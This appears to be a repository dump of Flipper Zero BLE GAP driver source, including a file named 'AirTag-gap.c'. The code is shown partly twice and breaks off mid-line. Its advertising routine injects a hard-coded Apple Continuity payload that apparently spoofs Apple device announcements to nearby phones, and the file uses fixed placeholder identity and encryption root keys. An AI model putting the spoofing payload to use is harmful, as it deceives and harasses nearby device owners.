status %d", evt_le_phy_update_complete->Status); 156 | } 157 | else 158 | { 159 | FURI_LOG_I(TAG, "Update PHY succeed"); 160 | } 161 | 162 | ret = hci_le_read_phy(gap->service.connection_handle, &tx_phy, &rx_phy); 163 | if (ret) 164 | { 165 | FURI_LOG_E(TAG, "Read PHY failed, status: %d", ret); 166 | } 167 | else 168 | { 169 | FURI_LOG_I(TAG, "PHY Params TX = %d, RX = %d ", tx_phy, rx_phy); 170 | } 171 | 172 | break; 173 | 174 | case EVT_LE_CONN_COMPLETE: 175 | { 176 | hci_le_connection_complete_event_rp0 *event = 177 | (hci_le_connection_complete_event_rp0*) meta_evt->data; 178 | gap->connection_params.conn_interval = event->Conn_Interval; 179 | gap->connection_params.slave_latency = event->Conn_Latency; 180 | gap->connection_params.supervisor_timeout = event->Supervision_Timeout; 181 | 182 | // Stop advertising as connection completed 183 | furi_timer_stop(gap->advertise_timer); 184 | 185 | // Update connection status and handle 186 | gap->state = GapStateConnected; 187 | gap->service.connection_handle = event->Connection_Handle; 188 | 189 | gap_verify_connection_parameters(gap); 190 | // Start pairing by sending security request 191 | aci_gap_slave_security_req(event->Connection_Handle); 192 | } 193 | 194 | break; 195 | 196 | default: 197 | break; 198 | } 199 | 200 | break; 201 | 202 | case EVT_VENDOR: 203 | blue_evt = (evt_blue_aci*) event_pckt->data; 204 | switch (blue_evt->ecode) 205 | { 206 | aci_gap_pairing_complete_event_rp0 * pairing_complete; 207 | 208 | case EVT_BLUE_GAP_LIMITED_DISCOVERABLE: 209 | FURI_LOG_I(TAG, "Limited discoverable event"); 210 | break; 211 | 212 | case EVT_BLUE_GAP_PASS_KEY_REQUEST: 213 | { 214 | // Generate random PIN code 215 | uint32_t pin = rand() % 999999; //-V1064 216 | aci_gap_pass_key_resp(gap->service.connection_handle, pin); 217 | if (furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock)) 218 | { 219 | FURI_LOG_I(TAG, "Pass key request event. Pin: ******"); 220 | } 221 | else 222 | { 223 | FURI_LOG_I(TAG, "Pass key request event. Pin: %06ld", pin); 224 | } 225 | 226 | GapEvent event = {.type = GapEventTypePinCodeShow, .data.pin_code = pin 227 | }; 228 | 229 | gap->on_event_cb(event, gap->context); 230 | } 231 | 232 | break; 233 | 234 | case EVT_BLUE_ATT_EXCHANGE_MTU_RESP: 235 | { 236 | aci_att_exchange_mtu_resp_event_rp0 *pr = (void*) blue_evt->data; 237 | FURI_LOG_I(TAG, "Rx MTU size: %d", pr->Server_RX_MTU); 238 | // Set maximum packet size given header size is 3 bytes 239 | GapEvent event = { .type = GapEventTypeUpdateMTU, .data.max_packet_size = pr->Server_RX_MTU - 3 240 | }; 241 | 242 | gap->on_event_cb(event, gap->context); 243 | } 244 | 245 | break; 246 | 247 | case EVT_BLUE_GAP_AUTHORIZATION_REQUEST: 248 | FURI_LOG_D(TAG, "Authorization request event"); 249 | break; 250 | 251 | case EVT_BLUE_GAP_SLAVE_SECURITY_INITIATED: 252 | FURI_LOG_D(TAG, "Slave security initiated"); 253 | break; 254 | 255 | case EVT_BLUE_GAP_BOND_LOST: 256 | FURI_LOG_D(TAG, "Bond lost event. Start rebonding"); 257 | aci_gap_allow_rebond(gap->service.connection_handle); 258 | break; 259 | 260 | case EVT_BLUE_GAP_DEVICE_FOUND: 261 | FURI_LOG_D(TAG, "Device found event"); 262 | break; 263 | 264 | case EVT_BLUE_GAP_ADDR_NOT_RESOLVED: 265 | FURI_LOG_D(TAG, "Address not resolved event"); 266 | break; 267 | 268 | case EVT_BLUE_GAP_KEYPRESS_NOTIFICATION: 269 | FURI_LOG_D(TAG, "Key press notification event"); 270 | break; 271 | 272 | case EVT_BLUE_GAP_NUMERIC_COMPARISON_VALUE: 273 | { 274 | uint32_t pin = 275 | ((aci_gap_numeric_comparison_value_event_rp0*)(blue_evt->data))->Numeric_Value; 276 | FURI_LOG_I(TAG, "Verify numeric comparison: %06ld", pin); 277 | GapEvent event = {.type = GapEventTypePinCodeVerify, .data.pin_code = pin 278 | }; 279 | 280 | bool result = gap->on_event_cb(event, gap->context); 281 | aci_gap_numeric_comparison_value_confirm_yesno(gap->service.connection_handle, result); 282 | break; 283 | } 284 | 285 | case EVT_BLUE_GAP_PAIRING_CMPLT: 286 | pairing_complete = (aci_gap_pairing_complete_event_rp0*) blue_evt->data; 287 | if (pairing_complete->Status) 288 | { 289 | FURI_LOG_E( TAG, 290 | "Pairing failed with status: %d. Terminating connection", 291 | pairing_complete->Status); 292 | aci_gap_terminate(gap->service.connection_handle, 5); 293 | } 294 | else 295 | { 296 | FURI_LOG_I(TAG, "Pairing complete"); 297 | GapEvent event = {.type = GapEventTypeConnected 298 | }; 299 | 300 | gap->on_event_cb(event, gap->context); 301 | } 302 | 303 | break; 304 | 305 | case EVT_BLUE_GAP_PROCEDURE_COMPLETE: 306 | FURI_LOG_D(TAG, "Procedure complete event"); 307 | break; 308 | 309 | case EVT_BLUE_L2CAP_CONNECTION_UPDATE_RESP: 310 | { 311 | uint16_t result = 312 | ((aci_l2cap_connection_update_resp_event_rp0*)(blue_evt->data))->Result; 313 | if (result == 0) 314 | { 315 | FURI_LOG_D(TAG, "Connection parameters accepted"); 316 | } 317 | else if (result == 1) 318 | { 319 | FURI_LOG_D(TAG, "Connection parameters denied"); 320 | } 321 | 322 | break; 323 | } 324 | } 325 | 326 | default: 327 | break; 328 | } 329 | 330 | if (gap) 331 | { 332 | furi_mutex_release(gap->state_mutex); 333 | } 334 | 335 | return SVCCTL_UserEvtFlowEnable; 336 | } 337 | 338 | static void set_advertisment_service_uid(uint8_t *uid, uint8_t uid_len) 339 | { 340 | if (uid_len == 2) 341 | { 342 | gap->service.adv_svc_uuid[0] = AD_TYPE_16_BIT_SERV_UUID; 343 | } 344 | else if (uid_len == 4) 345 | { 346 | gap->service.adv_svc_uuid[0] = AD_TYPE_32_BIT_SERV_UUID; 347 | } 348 | else if (uid_len == 16) 349 | { 350 | gap->service.adv_svc_uuid[0] = AD_TYPE_128_BIT_SERV_UUID_CMPLT_LIST; 351 | } 352 | 353 | memcpy(&gap->service.adv_svc_uuid[gap->service.adv_svc_uuid_len], uid, uid_len); 354 | gap->service.adv_svc_uuid_len += uid_len; 355 | } 356 | 357 | static void gap_init_svc(Gap *gap) 358 | { 359 | tBleStatus status; 360 | uint32_t srd_bd_addr[2]; 361 | 362 | // HCI Reset to synchronise BLE Stack 363 | hci_reset(); 364 | // Configure mac address 365 | aci_hal_write_config_data( CONFIG_DATA_PUBADDR_OFFSET, CONFIG_DATA_PUBADDR_LEN, gap->config->mac_address); 366 | 367 | /*Static random Address 368 | *The two upper bits shall be set to 1 369 | *The lowest 32bits is read from the UDN to differentiate between devices 370 | *The RNG may be used to provide a random number on each power on 371 | */ 372 | srd_bd_addr[1] = 0x0000ED6E; 373 | srd_bd_addr[0] = LL_FLASH_GetUDN(); 374 | aci_hal_write_config_data( CONFIG_DATA_RANDOM_ADDRESS_OFFSET, CONFIG_DATA_RANDOM_ADDRESS_LEN, (uint8_t*) srd_bd_addr); 375 | // Set Identity root key used to derive LTK and CSRK 376 | aci_hal_write_config_data(CONFIG_DATA_IR_OFFSET, CONFIG_DATA_IR_LEN, (uint8_t*) gap_irk); 377 | // Set Encryption root key used to derive LTK and CSRK 378 | aci_hal_write_config_data(CONFIG_DATA_ER_OFFSET, CONFIG_DATA_ER_LEN, (uint8_t*) gap_erk); 379 | // Set TX Power to 0 dBm 380 | aci_hal_set_tx_power_level(1, 0x19); 381 | // Initialize GATT interface 382 | aci_gatt_init(); 383 | // Initialize GAP interface 384 | // Skip fist symbol AD_TYPE_COMPLETE_LOCAL_NAME 385 | char *name = gap->service.adv_name + 1; 386 | aci_gap_init( GAP_PERIPHERAL_ROLE, 387 | 0, 388 | strlen(name), &gap->service.gap_svc_handle, &gap->service.dev_name_char_handle, &gap->service.appearance_char_handle); 389 | 390 | // Set GAP characteristics 391 | status = aci_gatt_update_char_value( gap->service.gap_svc_handle, 392 | gap->service.dev_name_char_handle, 393 | 0, 394 | strlen(name), 395 | (uint8_t*) name); 396 | if (status) 397 | { 398 | FURI_LOG_E(TAG, "Failed updating name characteristic: %d", status); 399 | } 400 | 401 | uint8_t gap_appearence_char_uuid[2] = { gap->config->appearance_char &0xff, gap->config->appearance_char >> 8 402 | }; 403 | 404 | status = aci_gatt_update_char_value( gap->service.gap_svc_handle, 405 | gap->service.appearance_char_handle, 406 | 0, 407 | 2, 408 | gap_appearence_char_uuid); 409 | if (status) 410 | { 411 | FURI_LOG_E(TAG, "Failed updating appearence characteristic: %d", status); 412 | } 413 | 414 | // Set default PHY 415 | hci_le_set_default_phy(ALL_PHYS_PREFERENCE, TX_2M_PREFERRED, RX_2M_PREFERRED); 416 | // Set I/O capability 417 | bool keypress_supported = false; 418 | if (gap->config->pairing_method == GapPairingPinCodeShow) 419 | { 420 | aci_gap_set_io_capability(IO_CAP_DISPLAY_ONLY); 421 | } 422 | else if (gap->config->pairing_method == GapPairingPinCodeVerifyYesNo) 423 | { 424 | aci_gap_set_io_capability(IO_CAP_DISPLAY_YES_NO); 425 | keypress_supported = true; 426 | } 427 | 428 | // Setup authentication 429 | aci_gap_set_authentication_requirement( gap->config->bonding_mode, 430 | CFG_MITM_PROTECTION, 431 | CFG_SC_SUPPORT, 432 | keypress_supported, 433 | CFG_ENCRYPTION_KEY_SIZE_MIN, 434 | CFG_ENCRYPTION_KEY_SIZE_MAX, 435 | CFG_USED_FIXED_PIN, 436 | 0, 437 | PUBLIC_ADDR); 438 | // Configure whitelist 439 | aci_gap_configure_whitelist(); 440 | } 441 | 442 | static void gap_advertise_start(GapState new_state) 443 | { 444 | FURI_LOG_E(TAG, "gap_advertise_start"); 445 | 446 | tBleStatus status; 447 | uint16_t min_interval; 448 | uint16_t max_interval; 449 | 450 | if (new_state == GapStateAdvFast) 451 | { 452 | min_interval = 0x80; // 80 ms 453 | max_interval = 0xa0; // 100 ms 454 | } 455 | else 456 | { 457 | min_interval = 0x0640; // 1 s 458 | max_interval = 0x0fa0; // 2.5 s 459 | } 460 | 461 | // Stop advertising timer 462 | furi_timer_stop(gap->advertise_timer); 463 | 464 | if ((new_state == GapStateAdvLowPower) && 465 | ((gap->state == GapStateAdvFast) || (gap->state == GapStateAdvLowPower))) 466 | { 467 | // Stop advertising 468 | status = aci_gap_set_non_discoverable(); 469 | if (status) 470 | { 471 | FURI_LOG_E(TAG, "set_non_discoverable failed %d", status); 472 | } 473 | else 474 | { 475 | FURI_LOG_D(TAG, "set_non_discoverable success"); 476 | } 477 | } 478 | 479 | static 480 | const uint16_t gap_appearance = 0x0000; //GAP_APPEARANCE_UNKNOWN 481 | 482 | status = aci_gatt_update_char_value(gap->service.gap_svc_handle, 483 | gap->service.gap_svc_handle, 484 | 0, 485 | sizeof(gap_appearance), 486 | (uint8_t*) &gap_appearance); 487 | 488 | status = aci_gap_set_discoverable( ADV_IND, 489 | min_interval, 490 | max_interval, 491 | PUBLIC_ADDR, 492 | 0, 493 | 0, NULL, 494 | 0, NULL, 495 | 0, 496 | 0); 497 | status = aci_gap_delete_ad_type(AD_TYPE_FLAGS); 498 | status = aci_gap_delete_ad_type(AD_TYPE_TX_POWER_LEVEL); 499 | 500 | const uint8_t choiceSelection[] = { 501 | 0x16, 0xff, 0x4c, 0x00, 0x04, 0x04, 0x20, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xc0, 0x09, 0x60, 0x4c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}; 502 | status = aci_gap_update_adv_data(0x17, choiceSelection); 503 | 504 | gap->state = new_state; 505 | GapEvent event = {.type = GapEventTypeStartAdvertising 506 | }; 507 | 508 | gap->on_event_cb(event, gap->context); 509 | furi_timer_start(gap->advertise_timer, INITIAL_ADV_TIMEOUT); 510 | } 511 | 512 | static void gap_advertise_stop() 513 | { 514 | tBleStatus ret; 515 | if (gap->state > GapStateIdle) 516 | { 517 | if (gap->state == GapStateConnected) 518 | { 519 | // Terminate connection 520 | ret = aci_gap_terminate(gap->service.connection_handle, 0x13); 521 | if (ret != BLE_STATUS_SUCCESS) 522 | { 523 | FURI_LOG_E(TAG, "terminate failed %d", ret); 524 | } 525 | else 526 | { 527 | FURI_LOG_D(TAG, "terminate success"); 528 | } 529 | } 530 | 531 | // Stop advertising 532 | furi_timer_stop(gap->advertise_timer); 533 | ret = aci_gap_set_non_discoverable(); 534 | if (ret != BLE_STATUS_SUCCESS) 535 | { 536 | FURI_LOG_E(TAG, "set_non_discoverable failed %d", ret); 537 | } 538 | else 539 | { 540 | FURI_LOG_D(TAG, "set_non_discoverable success"); 541 | } 542 | 543 | gap->state = GapStateIdle; 544 | } 545 | 546 | GapEvent event = {.type = GapEventTypeStopAdvertising 547 | }; 548 | 549 | gap->on_event_cb(event, gap->context); 550 | } 551 | 552 | void gap_start_advertising() 553 | { 554 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 555 | if (gap->state == GapStateIdle) 556 | { 557 | gap->state = GapStateStartingAdv; 558 | FURI_LOG_I(TAG, "Start advertising"); 559 | gap->enable_adv = true; 560 | GapCommand command = GapCommandAdvFast; 561 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 562 | } 563 | 564 | furi_mutex_release(gap->state_mutex); 565 | } 566 | 567 | void gap_stop_advertising() 568 | { 569 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 570 | if (gap->state > GapStateIdle) 571 | { 572 | FURI_LOG_I(TAG, "Stop advertising"); 573 | gap->enable_adv = false; 574 | GapCommand command = GapCommandAdvStop; 575 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 576 | } 577 | 578 | furi_mutex_release(gap->state_mutex); 579 | } 580 | 581 | static void gap_advetise_timer_callback(void *context) 582 | { 583 | UNUSED(context); 584 | GapCommand command = GapCommandAdvLowPower; 585 | furi_check(furi_message_queue_put(gap->command_queue, &command, 0) == FuriStatusOk); 586 | } 587 | 588 | bool gap_init(GapConfig *config, GapEventCallback on_event_cb, void *context) 589 | { 590 | if (!ble_glue_is_radio_stack_ready()) 591 | { 592 | return false; 593 | } 594 | 595 | gap = malloc(sizeof(Gap)); 596 | gap->config = config; 597 | // Create advertising timer 598 | gap->advertise_timer = furi_timer_alloc(gap_advetise_timer_callback, FuriTimerTypeOnce, NULL); 599 | // Initialization of GATT &GAP layer 600 | gap->service.adv_name = config->adv_name; 601 | gap_init_svc(gap); 602 | // Initialization of the BLE Services 603 | SVCCTL_Init(); 604 | // Initialization of the GAP state 605 | gap->state_mutex = furi_mutex_alloc(FuriMutexTypeNormal); 606 | gap->state = GapStateIdle; 607 | gap->service.connection_handle = 0xFFFF; 608 | gap->enable_adv = true; 609 | 610 | // Thread configuration 611 | gap->thread = furi_thread_alloc(); 612 | furi_thread_set_name(gap->thread, "BleGapDriver"); 613 | furi_thread_set_stack_size(gap->thread, 1024); 614 | furi_thread_set_context(gap->thread, gap); 615 | furi_thread_set_callback(gap->thread, gap_app); 616 | furi_thread_start(gap->thread); 617 | 618 | // Command queue allocation 619 | gap->command_queue = furi_message_queue_alloc(8, sizeof(GapCommand)); 620 | 621 | uint8_t adv_service_uid[2]; 622 | gap->service.adv_svc_uuid_len = 1; 623 | adv_service_uid[0] = gap->config->adv_service_uuid &0xff; 624 | adv_service_uid[1] = gap->config->adv_service_uuid >> 8; 625 | set_advertisment_service_uid(adv_service_uid, sizeof(adv_service_uid)); 626 | 627 | // Set callback 628 | gap->on_event_cb = on_event_cb; 629 | gap->context = context; 630 | return true; 631 | } 632 | 633 | GapState gap_get_state() 634 | { 635 | GapState state; 636 | if (gap) 637 | { 638 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 639 | state = gap->state; 640 | furi_mutex_release(gap->state_mutex); 641 | } 642 | else 643 | { 644 | state = GapStateUninitialized; 645 | } 646 | 647 | return state; 648 | } 649 | 650 | void gap_thread_stop() 651 | { 652 | if (gap) 653 | { 654 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 655 | gap->enable_adv = false; 656 | GapCommand command = GapCommandKillThread; 657 | furi_message_queue_put(gap->command_queue, &command, FuriWaitForever); 658 | furi_mutex_release(gap->state_mutex); 659 | furi_thread_join(gap->thread); 660 | furi_thread_free(gap->thread); 661 | // Free resources 662 | furi_mutex_free(gap->state_mutex); 663 | furi_message_queue_free(gap->command_queue); 664 | furi_timer_stop(gap->advertise_timer); 665 | while (xTimerIsTimerActive(gap->advertise_timer) == pdTRUE) furi_delay_tick(1); 666 | furi_timer_free(gap->advertise_timer); 667 | free(gap); 668 | gap = NULL; 669 | } 670 | } 671 | 672 | static int32_t gap_app(void *context) 673 | { 674 | UNUSED(context); 675 | GapCommand command; 676 | while (1) 677 | { 678 | FuriStatus status = furi_message_queue_get(gap->command_queue, &command, FuriWaitForever); 679 | if (status != FuriStatusOk) 680 | { 681 | FURI_LOG_E(TAG, "Message queue get error: %d", status); 682 | continue; 683 | } 684 | 685 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 686 | if (command == GapCommandKillThread) 687 | { 688 | break; 689 | } 690 | 691 | if (command == GapCommandAdvFast) 692 | { 693 | gap_advertise_start(GapStateAdvFast); 694 | } 695 | else if (command == GapCommandAdvLowPower) 696 | { 697 | gap_advertise_start(GapStateAdvLowPower); 698 | } 699 | else if (command == GapCommandAdvStop) 700 | { 701 | gap_advertise_stop(); 702 | } 703 | 704 | furi_mutex_release(gap->state_mutex); 705 | } 706 | 707 | return 0; 708 | } -------------------------------------------------------------------------------- /AirTag-gap.c: -------------------------------------------------------------------------------- 1 | #include "gap.h" 2 | #include 3 | #include 4 | #include 5 | #define TAG "BtGap" 6 | #define FAST_ADV_TIMEOUT 30000 7 | #define INITIAL_ADV_TIMEOUT 60000 8 | #define GAP_INTERVAL_TO_MS(x)(uint16_t)((x) *1.25) 9 | 10 | 11 | 12 | typedef struct 13 | { 14 | uint16_t gap_svc_handle; 15 | uint16_t dev_name_char_handle; 16 | uint16_t appearance_char_handle; 17 | uint16_t connection_handle; 18 | uint8_t adv_svc_uuid_len; 19 | uint8_t adv_svc_uuid[20]; 20 | char *adv_name; 21 | } 22 | 23 | GapSvc; 24 | 25 | typedef struct 26 | { 27 | GapSvc service; 28 | GapConfig * config; 29 | GapConnectionParams connection_params; 30 | GapState state; 31 | FuriMutex * state_mutex; 32 | GapEventCallback on_event_cb; 33 | void *context; 34 | FuriTimer * advertise_timer; 35 | FuriThread * thread; 36 | FuriMessageQueue * command_queue; 37 | bool enable_adv; 38 | } 39 | 40 | Gap; 41 | 42 | typedef enum 43 | { 44 | GapCommandAdvFast, 45 | GapCommandAdvLowPower, 46 | GapCommandAdvStop, 47 | GapCommandKillThread, 48 | } 49 | 50 | GapCommand; 51 | 52 | static 53 | const uint8_t gap_irk[16] = { 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0, 0x12, 0x34, 0x56, 0x78, 0x9a, 0xbc, 0xde, 0xf0 54 | }; 55 | 56 | static 57 | const uint8_t gap_erk[16] = { 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21, 0xfe, 0xdc, 0xba, 0x09, 0x87, 0x65, 0x43, 0x21 58 | }; 59 | 60 | static Gap *gap = NULL; 61 | 62 | static void gap_advertise_start(GapState new_state); 63 | static int32_t gap_app(void *context); 64 | 65 | static void gap_verify_connection_parameters(Gap *gap) 66 | { 67 | furi_assert(gap); 68 | 69 | FURI_LOG_I( TAG, 70 | "Connection parameters: Connection Interval: %d (%d ms), Slave Latency: %d, Supervision Timeout: %d", 71 | gap->connection_params.conn_interval, 72 | GAP_INTERVAL_TO_MS(gap->connection_params.conn_interval), 73 | gap->connection_params.slave_latency, 74 | gap->connection_params.supervisor_timeout); 75 | 76 | // Send connection parameters request update if necessary 77 | GapConnectionParamsRequest *params = &gap->config->conn_param; 78 | if (params->conn_int_min > gap->connection_params.conn_interval || 79 | params->conn_int_max < gap->connection_params.conn_interval) 80 | { 81 | FURI_LOG_W(TAG, "Unsupported connection interval. Request connection parameters update"); 82 | if (aci_l2cap_connection_parameter_update_req( gap->service.connection_handle, 83 | params->conn_int_min, 84 | params->conn_int_max, 85 | gap->connection_params.slave_latency, 86 | gap->connection_params.supervisor_timeout)) 87 | { 88 | FURI_LOG_E(TAG, "Failed to request connection parameters update"); 89 | } 90 | } 91 | } 92 | 93 | SVCCTL_UserEvtFlowStatus_t SVCCTL_App_Notification(void *pckt) 94 | { 95 | hci_event_pckt * event_pckt; 96 | evt_le_meta_event * meta_evt; 97 | evt_blue_aci * blue_evt; 98 | hci_le_phy_update_complete_event_rp0 * evt_le_phy_update_complete; 99 | uint8_t tx_phy; 100 | uint8_t rx_phy; 101 | tBleStatus ret = BLE_STATUS_INVALID_PARAMS; 102 | event_pckt = (hci_event_pckt*)((hci_uart_pckt*) pckt)->data; 103 | 104 | if (gap) 105 | { 106 | furi_mutex_acquire(gap->state_mutex, FuriWaitForever); 107 | } 108 | 109 | switch (event_pckt->evt) 110 | { 111 | case EVT_DISCONN_COMPLETE: 112 | { 113 | hci_disconnection_complete_event_rp0 *disconnection_complete_event = 114 | (hci_disconnection_complete_event_rp0*) event_pckt->data; 115 | if (disconnection_complete_event->Connection_Handle == gap->service.connection_handle) 116 | { 117 | gap->service.connection_handle = 0; 118 | gap->state = GapStateIdle; 119 | FURI_LOG_I( TAG, "Disconnect from client. Reason: %02X", disconnection_complete_event->Reason); 120 | } 121 | 122 | if (gap->enable_adv) 123 | { 124 | // Restart advertising 125 | gap_advertise_start(GapStateAdvFast); 126 | } 127 | 128 | GapEvent event = {.type = GapEventTypeDisconnected 129 | }; 130 | 131 | gap->on_event_cb(event, gap->context); 132 | } 133 | 134 | break; 135 | 136 | case EVT_LE_META_EVENT: 137 | meta_evt = (evt_le_meta_event*) event_pckt->data; 138 | switch (meta_evt->subevent) 139 | { 140 | case EVT_LE_CONN_UPDATE_COMPLETE: 141 | { 142 | hci_le_connection_update_complete_event_rp0 *event = 143 | (hci_le_connection_update_complete_event_rp0*) meta_evt->data; 144 | gap->connection_params.conn_interval = event->Conn_Interval; 145 | gap->connection_params.slave_latency = event->Conn_Latency; 146 | gap->connection_params.supervisor_timeout = event->Supervision_Timeout; 147 | FURI_LOG_I(TAG, "Connection parameters event complete"); 148 | gap_verify_connection_parameters(gap); 149 | break; 150 | } 151 | 152 | case EVT_LE_PHY_UPDATE_COMPLETE: 153 | evt_le_phy_update_complete = (hci_le_phy_update_complete_event_rp0*) meta_evt->data; 154 | if (evt_le_phy_update_complete->Status) 155 | { 156 | FURI_LOG_E( TAG, "Update PHY failed, status %d", evt_le_phy_update_complete->Status); 157 | } 158 | else 159 | { 160 | FURI_LOG_I(TAG, "Update PHY succeed"); 161 | } 162 | 163 | ret = hci_le_read_phy(gap->service.connection_handle, &tx_phy, &rx_phy); 164 | if (ret) 165 | { 166 | FURI_LOG_E(TAG, "Read PHY failed, status: %d", ret); 167 | } 168 | else 169 | { 170 | FURI_LOG_I(TAG, "PHY Params TX = %d, RX = %d ", tx_phy, rx_phy); 171 | } 172 | 173 | break; 174 | 175 | case EVT_LE_CONN_COMPLETE: 176 | { 177 | hci_le_connection_complete_event_rp0 *event = 178 | (hci_le_connection_complete_event_rp0*) meta_evt->data; 179 | gap->connection_params.conn_interval = event->Conn_Interval; 180 | gap->connection_params.slave_latency = event->Conn_Latency; 181 | gap->connection_params.supervisor_timeout = event->Supervision_Timeout; 182 | 183 | // Stop advertising as connection completed 184 | furi_timer_stop(gap->advertise_timer); 185 | 186 | // Update connection status and handle 187 | gap->state = GapStateConnected; 188 | gap->service.connection_handle = event->Connection_Handle; 189 | 190 | gap_verify_connection_parameters(gap); 191 | // Start pairing by sending security request 192 | aci_gap_slave_security_req(event->Connection_Handle); 193 | } 194 | 195 | break; 196 | 197 | default: 198 | break; 199 | } 200 | 201 | break; 202 | 203 | case EVT_VENDOR: 204 | blue_evt = (evt_blue_aci*) event_pckt->data; 205 | switch (blue_evt->ecode) 206 | { 207 | aci_gap_pairing_complete_event_rp0 * pairing_complete; 208 | 209 | case EVT_BLUE_GAP_LIMITED_DISCOVERABLE: 210 | FURI_LOG_I(TAG, "Limited discoverable event"); 211 | break; 212 | 213 | case EVT_BLUE_GAP_PASS_KEY_REQUEST: 214 | { 215 | // Generate random PIN code 216 | uint32_t pin = rand() % 999999; //-V1064 217 | aci_gap_pass_key_resp(gap->service.connection_handle, pin); 218 | if (furi_hal_rtc_is_flag_set(FuriHalRtcFlagLock)) 219 | { 220 | FURI_LOG_I(TAG, "Pass key request event. Pin: ******"); 221 | } 222 | else 223 | { 224 | FURI_LOG_I(TAG, "Pass key request event. Pin: %06ld", pin); 225 | } 226 | 227 | GapEvent event = {.type = GapEventTypePinCodeShow, .data.pin_code = pin 228 | }; 229 | 230 | gap->on_event_cb(event, gap->context); 231 | } 232 | 233 | break; 234 | 235 | case EVT_BLUE_ATT_EXCHANGE_MTU_RESP: 236 | { 237 | aci_att_exchange_mtu_resp_event_rp0 *pr = (void*) blue_evt->data; 238 | FURI_LOG_I(TAG, "Rx MTU size: %d", pr->Server_RX_MTU); 239 | // Set maximum packet size given header size is 3 bytes 240 | GapEvent event = { .type = GapEventTypeUpdateMTU, .data.max_packet_size = pr->Server_RX_MTU - 3 241 | }; 242 | 243 | gap->on_event_cb(event, gap->context); 244 | } 245 | 246 | break; 247 | 248 | case EVT_BLUE_GAP_AUTHORIZATION_REQUEST: 249 | FURI_LOG_D(TAG, "Authorization request event"); 250 | break; 251 | 252 | case EVT_BLUE_GAP_SLAVE_SECURITY_INITIATED: 253 | FURI_LOG_D(TAG, "Slave security initiated"); 254 | break; 255 | 256 | case EVT_BLUE_GAP_BOND_LOST: 257 | FURI_LOG_D(TAG, "Bond lost event. Start rebonding"); 258 | aci_gap_allow_rebond(gap->service.connection_handle); 259 | break; 260 | 261 | case EVT_BLUE_GAP_DEVICE_FOUND: 262 | FURI_LOG_D(TAG, "Device found event"); 263 | break; 264 | 265 | case EVT_BLUE_GAP_ADDR_NOT_RESOLVED: 266 | FURI_LOG_D(TAG, "Address not resolved event"); 267 | break; 268 | 269 | case EVT_BLUE_GAP_KEYPRESS_NOTIFICATION: 270 | FURI_LOG_D(TAG, "Key press notification event"); 271 | break; 272 | 273 | case EVT_BLUE_GAP_NUMERIC_COMPARISON_VALUE: 274 | { 275 | uint32_t pin = 276 | ((aci_gap_numeric_comparison_value_event_rp0*)(blue_evt->data))->Numeric_Value; 277 | FURI_LOG_I(TAG, "Verify numeric comparison: %06ld", pin); 278 | GapEvent event = {.type = GapEventTypePinCodeVerify, .data.pin_code = pin 279 | }; 280 | 281 | bool result = gap->on_event_cb(event, gap->context); 282 | aci_gap_numeric_comparison_value_confirm_yesno(gap->service.connection_handle, result); 283 | break; 284 | } 285 | 286 | case EVT_BLUE_GAP_PAIRING_CMPLT: 287 | pairing_complete = (aci_gap_pairing_complete_event_rp0*) blue_evt->data; 288 | if (pairing_complete->Status) 289 | { 290 | FURI_LOG_E( TAG, 291 | "Pairing failed with status: %d. Terminating connection", 292 | pairing_complete->Status); 293 | aci_gap_terminate(gap->service.connection_handle, 5); 294 | } 295 | else 296 | { 297 | FURI_LOG_I(TAG, "Pairing complete"); 298 | GapEvent event = {.type = GapEventTypeConnected 299 | }; 300 | 301 | gap->on_event_cb(event, gap->context); 302 | } 303 | 304 | break; 305 | 306 | case EVT_BLUE_GAP_PROCEDURE_COMPLETE: 307 | FURI_LOG_D(TAG, "Procedure complete event"); 308 | break; 309 | 310 | case EVT_BLUE_L2CAP_CONNECTION_UPDATE_RESP: 311 | { 312 | uint16_t result = 313 | ((aci_l2cap_connection_update_resp_event_rp0*)(blue_evt->data))->Result; 314 | if (result == 0) 315 | { 316 | FURI_LOG_D(TAG, "Connection parameters accepted"); 317 | } 318 | else if (result == 1) 319 | { 320 | FURI_LOG_D(TAG, "Connection parameters denied"); 321 | } 322 | 323 | break; 324 | } 325 | } 326 | 327 | default: 328 | break; 329 | } 330 | 331 | if (gap) 332 | { 333 | furi_mutex_release(gap->state_mutex); 334 | } 335 | 336 | return SVCCTL_UserEvtFlowEnable; 337 | } 338 | 339 | static void set_advertisment_service_uid(uint8_t *uid, uint8_t uid_len) 340 | { 341 | if (uid_len == 2) 342 | { 343 | gap->service.adv_svc_uuid[0] = AD_TYPE_16_BIT_SERV_UUID; 344 | } 345 | else if (uid_len == 4) 346 | { 347 | gap->service.adv_svc_uuid[0] = AD_TYPE_32_BIT_SERV_UUID; 348 | } 349 | else if (uid_len == 16) 350 | { 351 | gap->service.adv_svc_uuid[0] = AD_TYPE_128_BIT_SERV_UUID_CMPLT_LIST; 352 | } 353 | 354 | memcpy(&gap->service.adv_svc_uuid[gap->service.adv_svc_uuid_len], uid, uid_len); 355 | gap->service.adv_svc_uuid_len += uid_len; 356 | } 357 | 358 | static void gap_init_svc(Gap *gap) 359 | { 360 | tBleStatus status; 361 | uint32_t srd_bd_addr[2]; 362 | 363 | // HCI Reset to synchronise BLE Stack 364 | hci_reset(); 365 | // Configure mac address 366 | aci_hal_write_config_data( CONFIG_DATA_PUBADDR_OFFSET, CONFIG_DATA_PUBADDR_LEN, gap->config->mac_address); 367 | 368 | /*Static random Address 369 | *The two upper bits shall be set to 1 370 | *The lowest 32bits is read from the UDN to differentiate between devices 371 | *The RNG may be used to provide a random number on each power on 372 | */ 373 | srd_bd_addr[1] = 0x0000ED6E; 374 | srd_bd_addr[0] = LL_FLASH_GetUDN(); 375 | aci_hal_write_config_data( CONFIG_DATA_RANDOM_ADDRESS_OFFSET, CONFIG_DATA_RANDOM_ADDRESS_LEN, (uint8_t*) 